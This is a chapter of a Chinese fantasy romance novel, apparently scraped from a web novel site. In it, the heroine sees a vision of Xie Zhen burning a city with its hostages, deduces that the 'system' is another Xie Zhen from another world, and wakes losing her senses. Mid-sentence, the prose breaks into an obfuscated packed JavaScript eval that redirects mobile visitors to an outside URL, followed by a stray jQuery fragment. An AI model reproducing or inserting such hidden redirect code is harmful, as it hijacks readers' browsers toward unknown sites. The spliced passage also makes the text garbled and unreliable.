59. 第 59 章

作品:《跑路后被疯批男主抓回成亲

    一颗头颅落下,喷洒出的温热液体似乎落在南阿蛮身上,将还处在呆愣的她灼烧。


    “这场战役原本必输,可他一人便让此战起死回生,你知道为什么吗?”


    “......为什么。”南阿蛮脑中空白,机械地回复他。


    “呵。”一声嘲弄传来,他凑近南阿蛮耳边,话语间带着无尽的蛊惑。“因为他是怪胎,战士杀人是逼不得已,他却沉浸其中。你猜他在杀人时会想些什么呢?”


    冰冷的手攀上南阿蛮的脖颈,让她不由得瑟缩,随着力道渐渐加深,一股窒息感迎面而来。


    犹如鬼魅的低语在她耳边响起:“他在享受杀人的乐趣,每杀一个人,他都会试试不同的力道和砍法。”


    “你看。”他钳住南阿蛮的下巴,强迫她向下看,下方是谢真一人一马的场景,穿梭在无数敌军中,杀人手法干净利落。混乱中,他似乎是觉得不过瘾,竟将头盔取下,随手一抛。


    也就是这时,南阿蛮才看清了他的神情。


    面对千军万马,面对敌众我寡,他没有丝毫害怕和退缩,胸口还在大喘气,可眼里透露出的兴奋和疯狂让南阿蛮心头一颤。


    他嘴角甚至带着笑。


    一笑之下,他纵马而过,手中长剑直指前方,那是大靖被占领的黎城。


    “抓住他,杀了他!”


    “杀了大靖的皇帝!”


    此起彼伏的喊声,刀剑相撞的声音。他犹入无人之境,将敌军远远甩在身后。


    直到行至城门之下,看着紧闭的大门,还有城池上正挟持着百姓的敌军。


    谢真从下至上,冷静看着上面的人。


    身后是甩不掉的追兵。


    谢真缓缓闭上眼,双眼紧闭,再次睁开时,熊熊大火席卷周围,无数追兵被困火中,霎时间,方才激昂的口号变成哀嚎,无数人马葬身火海。


    他含笑看着城门上的人。


    守城的将军已经吓得六神无主,可还在努力稳定军心,指向百姓的剑也重了几分。


    谢真眯了眯眼,打道回府,在他转身的一瞬间,城池被火吞没。


    眼前的景象戛然而止,定格在谢真转身的时刻。


    南阿蛮不可置信地瞪大眼睛。


    “看清楚了没,这就是你深爱的谢真,当初这一战,为了歼灭敌军,他不惜让被劫持的百姓陪葬。”


    “你还觉得他好吗?”


    “我和他都是不择手段、性情暴戾的暴君。他和我有什么不一样?”


    南阿蛮捂住头,脑中思考的事情太多,一时间有些胀痛。


    “别说了,别说了。你给闭嘴。”


    她不愿再听,只能大叫着。


    而面前的人见她如此,突然安静下来,满意地勾起唇。


    “说到底,他和我都是怪物,只是在你面前假模假样,让你一时忘了他是个什么货色。”


    “如今我让你看到他真面目的九牛一毛,你该谢我才是。”


    南阿蛮缓缓蹲下,脑中思绪万千,一会是从前系统的任务,一会是重新回来后系统的变脸,还有他那些似是而非的话,以及现在让自己看到这一切。


    一片混乱中,她努力理清思绪,分析系统的目的。


    有什么东西一定是摆在眼前,而她从未发觉过的。一定是。


    不知不觉间一切回到了虚空的模样,这里没有天空,没有地面,没有人,更没有南阿蛮熟悉的一切。


    “谢真”站在身旁冷眼看着她,似乎是等待她将一切消化完,等她接受了她深爱的谢真本质上同自己没有什么区别外,他就会放她回去。甚至尘埃落定之后,他还会送她回现实世界。


    可南阿蛮思索良久,从一开始的呼吸局促,不愿深思,变得逐渐冷静,那一团被她忽略,迟迟不曾发现,而又如鲠在喉的细节此刻突然清晰起来。


    为什么系统要用谢真的脸,为什么他要这么迫切地让自己看到谢真的凶残和冷血,为什么他之前一直强调同谢真别无二致。


    她缓缓站起身,用一种近乎极端理智的眼神看着眼前的人。


    他眼中写满了嘲弄和不屑,似乎笃定了她会做出什么决定,说出什么话。


    南阿蛮盯着他看了许久,他脸上的神情,眼角的泪痣,还有那双眼睛,她都无比熟悉。


    倏地,她短促一笑。迎上“谢真”的目光。


    “我之前一直不懂,从前你要我救他,现在你要我杀他。你到底是什么怪物呢?这个问题在我心里出现过很多次,可每当我思考,却又想不出你的来历。”


    “谢真”疑惑地看着她,眼里渐渐产生了兴趣。


    “你就是谢真。”


    这句斩钉截铁的话难得让眼前的人一愣,他从一开始就是一副掌握生死的样子,气定神闲地谈论着每个人的生死。这样的表情还是头一次见。


    可南阿蛮却缓缓笑起,虽然只是短短一瞬间的错愕的表情,却让她的猜想终于得到了确定。


    “换句话说,你是另一个谢真。来自另一个空间,另一个维度,或者另一个世界。”


    说完,她也换上气定神闲知晓全局的模样,虽然笑着,可眼中确含了冷意。


    两人久久对峙,“谢真”漆黑的眼眸沉沉看着她,瞧不出喜怒,却有股骇人的威压。


    “南阿蛮。”他说,“你还真是让我觉得惊喜。”


    话音落下,虚空扭曲,白雾升腾。


    南阿蛮知道这是幻境要消失的征兆,再次看去,“谢真”已经消失在眼前。


    下一秒,南阿蛮便失去意识,陷入黑暗。


    她没有猜错,真的有两个谢真。可她还没想清楚装成系统的“谢真”到底有什么目的,从前要她降低黑化值,现在又因为黑化值升高而杀人,难道一切的疑点都在黑化值上面吗?


    雪月园房中,有余晖落进房间,满地金黄。


    思绪回归,南阿蛮悠悠转醒,房中的宫女看到床上人的动静激动地叫起来。


    “醒了,醒了,南姑娘醒了。快快告知国师和陛下。”


    南阿蛮还没从她这一生惊叫中回过神,只支撑着身子缓缓做起,就感觉身旁一道黑影飞过,眼前就出现了一张俊脸。


    只是那张俊脸眼下带着乌青,下巴处还长出了胡渣。


    是多日不见的谢真。


    南阿蛮先是恍惚片刻,后又突然回神,激动地握住他的手臂,询问的话还未出口,便被面前的人猛地抱进怀中。


    脸狠狠地撞上坚硬的胸膛,南阿蛮嘶了一声,可面前的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742141|168988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却越抱越紧。


    片刻后,从头顶传来一道带有苦腔的声音。


    “你终于醒了。我以为你又要丢下我。”


    “我怎么会丢下你呢,别哭。我就是睡着了。”


    “我不信,我在战场上感受到相生咒解除,急匆匆赶回来后就看到你躺在床上昏迷不醒的样子,你知道你睡了多久吗?整整三日。阿蛮,我真的很害怕,你不要再丢下我。”


    他这话说的南阿蛮心里软得一塌糊涂,只顺着他的话答应下去:“好,我不走,我不会丢下你。谢之衍小朋友不要再哭了好不好。”


    谢真沉默半晌,努力消化着大悲大喜,最终沉沉地“嗯”了一声。


    两人不知抱了多久,南阿蛮闭上眼睛在他怀中享受片刻宁静,最后还是肚子的叫声将两人分开。


    谢真起身小心翼翼地为她端来早已备好的粥,走到她跟前儿,南阿蛮眼睛揉了又揉,视线落在屋中各处,落在谢真身上,最后看了看自己的手,心一点点沉下。


    她看不到颜色了,视线也变得模糊。


    察觉到不对,谢真伸手在她面前晃了晃,细细观察她的神情。


    “阿蛮,可是有什么不适?”


    南阿蛮闻言只笑了笑,随后接过碗:“我没事,就是睡久了,一时间不适应光线,等到晚间灯光要点亮些才好。”


    谢真应下,温柔地摸了摸她的头:“师父和归墟子前辈都很挂念你,我差人同他们说一声。”说完便往外走去。


    待他走后,南阿蛮干巴巴地喝着碗里的粥,她没了味觉,视觉也在渐渐退散,不知还能撑到什么时候。


    ——


    苍溪与归墟子为南阿蛮诊断,两人听闻南阿蛮醒来,心里松了一口气。


    再不醒来,谢真恐怕就压不住了。同三年前那场战役一样,他在战场上大开杀戒,一夜之间屠尽逆贼,抓了乌尔之后严刑拷打之下才知,他不过也是受人蛊惑,至于解除南阿蛮身上咒法的解药,根本就没有。


    谢真砍下他的头,在黎城上一直挂着,现在估计已经风干了。


    他那日归来,浑身血污,跌跌撞撞跑去雪月园,看到的就是南阿蛮沉静地睡着,怎么也叫不醒,气急攻心,一口血吐出,也跟着昏了过去。


    若非归墟子带来往生镜的一角,查看南阿蛮无性命之忧,还不知道他要做出什么事情来。


    “此子不可控,若比作凶剑,南施主就是一把持剑人,时间能制住他的人,除南施主外再无其二。”


    归墟子那日语重心长对苍溪说了这番话,叹着气离开。苍溪又何尝不知道呢,谢真现在,只有南阿蛮能控制住了。


    “师父,前辈。二位劳累。”


    一身黑金锦袍的谢真缓缓出现,人模人样,看着有礼有节,归墟子可没忘他那日发疯的模样,活像个野兽。此刻他手持一面古朴铜镜,立于南阿蛮面前。


    这便是往生镜的一角。


    “阿弥陀佛,不妨事。南施主能醒来,全是她的造化。”他专注手上动作,抽空回了一嘴谢真。


    苍溪翘着二郎腿,在一边啃着瓜:“她没事就好。”


    南阿蛮心里沉闷,另一个世界的谢真下了禁制,不能说出有关他的事,他得想想如何才能把一切告诉谢真。